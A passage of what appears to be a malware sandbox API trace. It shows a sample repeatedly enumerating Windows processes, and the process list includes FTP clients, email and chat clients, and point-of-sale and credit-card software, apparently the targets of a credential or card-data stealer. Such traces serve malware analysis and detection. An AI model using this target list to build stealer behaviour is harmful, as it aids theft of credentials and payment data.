lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.512] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.514] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0285.516] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.518] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.520] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0285.522] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0285.525] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0285.527] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0285.530] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0285.532] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0285.534] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0285.536] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0285.538] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0285.540] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0285.542] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0285.544] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0285.546] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0285.548] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0285.550] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0285.552] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0285.554] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0285.559] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0285.561] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0285.563] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0285.565] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0285.567] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0285.569] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0285.572] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0285.575] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0285.577] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0285.581] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0285.583] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0285.586] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0285.588] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0285.591] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0285.593] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0285.596] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0285.598] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0285.600] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0285.603] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0285.621] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0285.625] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0285.629] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0285.635] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0285.637] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0285.640] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0285.642] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0285.644] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0285.646] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0285.649] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0285.651] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0285.653] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0285.655] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0285.658] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0285.660] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0285.662] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0285.664] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0285.667] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0285.669] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0285.671] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0285.674] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0285.676] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0285.678] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0285.682] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0285.684] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.686] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0285.689] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.693] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0285.695] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0285.698] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.701] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0285.703] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0285.706] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0285.708] CloseHandle (hObject=0xa10) returned 1 [0285.708] Sleep (dwMilliseconds=0x64) [0285.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0285.723] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.725] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.727] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.729] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.731] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.781] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.784] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.786] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.788] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, 